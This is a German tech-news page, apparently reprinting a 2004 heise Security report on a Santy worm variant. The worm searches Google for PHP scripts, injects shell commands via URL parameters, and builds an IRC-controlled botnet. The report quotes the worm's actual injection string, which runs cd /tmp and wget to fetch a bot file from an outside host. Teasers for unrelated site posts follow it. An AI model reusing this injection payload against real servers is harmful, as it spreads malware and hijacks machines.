Wurm attackiert PHP-Skripte

2004-12-26 00:00:00 2004-12-26 00:00:00 admin

Die bereits gestern gemeldete Santy-Version mit Yahoo-Suche hat es offenbar in sich. heise Security erreichen immer mehr Berichte von attackierten Servern. Der Wurm verbindet sich unter anderem mit einem IRC-Server, in dessen Wurm-Channel bereits Ã¼ber 700 Zombies angemeldet sind, die der Wurm kontrolliert. Ãber spezielle Kommandos kÃ¶nnen diese Zombies unter anderem Port-Scans und verteilte DoS-Angriffe durchfÃ¼hren.

Offenbar versucht der Wurm systematisch Schwachstellen in PHP-Skripten zu finden, um sich zu verbreiten. Dazu sucht er auf der brasilianischen Google-Seite nach URLs mit PHP-Skripten und probiert alle Variablen durch, die er aus der gefundenen URL extrahieren kann. In diese schreibt er Ã¼ber die URL Code der Form:

http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;
wget www.visualcoders.net/spybot.txt;

ÃberprÃ¼ft das Skript den Inhalt der Variablen nicht ausreichend, werden unter UmstÃ¤nden die in der URL aufgefÃ¼hrten Kommandos ausgefÃ¼hrt. Der Ã¼berlaufende IRC-Channel beweist, dass der Wurm mit dieser einfachen Vorgehensweise anscheinend erschreckend oft Erfolg hat. Der Wurm erzeugt mit den Anfragen eine betrÃ¤chtliche Last auf dem Server.

hiese.de

Author

admin
Administrator

Profil von admin anzeigen

Sage Danke!
Du findest den Beitrag gut und möchtest Dich beim Autor bedanken? Schicke ihm einen Betrag Deiner Wahl.
Danke sagen!

`Erfahrungen`

Es sind noch keine Kommentare vorhanden.

Hier Kannst Du einen Kommentar verfassen

Offiziell: Internet Explorer 6 auf Deutsch zum Download

Er ist endlich da: Der Internet Explorer in der Version 6.0. Spektakulär Neues hat der Marktführer unter den Web-Browsern nicht zu bieten. Nur die Abspeckung um die Netscape-Plug-ins und die Smart Tags fällt auf. Doanload auf : http://www.microsoft.com ...

Autor : admin
Kategorie: Software & Web-Development

Skype als Trojaner?

Skype soll BIOS-Daten an die Skype-Server versenden. Dieses hat eine Programmiererin die nur unter dem Pseudonym "myria" bekannt ist, in Ihrem Blog veröffentlicht. Dieses hat die Programmiererin durch Zufall bei experimentieren mit einem 64-bittigen Windo ...

Autor : admin
Kategorie: Software & Web-Development

PHP Solutions Ausgabe 4/2004 (5) Juli/August

In der aktuellen Ausgabe: - Optimierung des PHP-Codes - Kampf der Giganten - MySQL - was bringt die Zukunft? - SQLite - klein ist schön - Wettervorhersage im XML-Format - ADOdb - ein alternatives Interface - Aufbewahrung von XML-Dokumenten in relati ...

Autor : admin
Kategorie: Software & Web-Development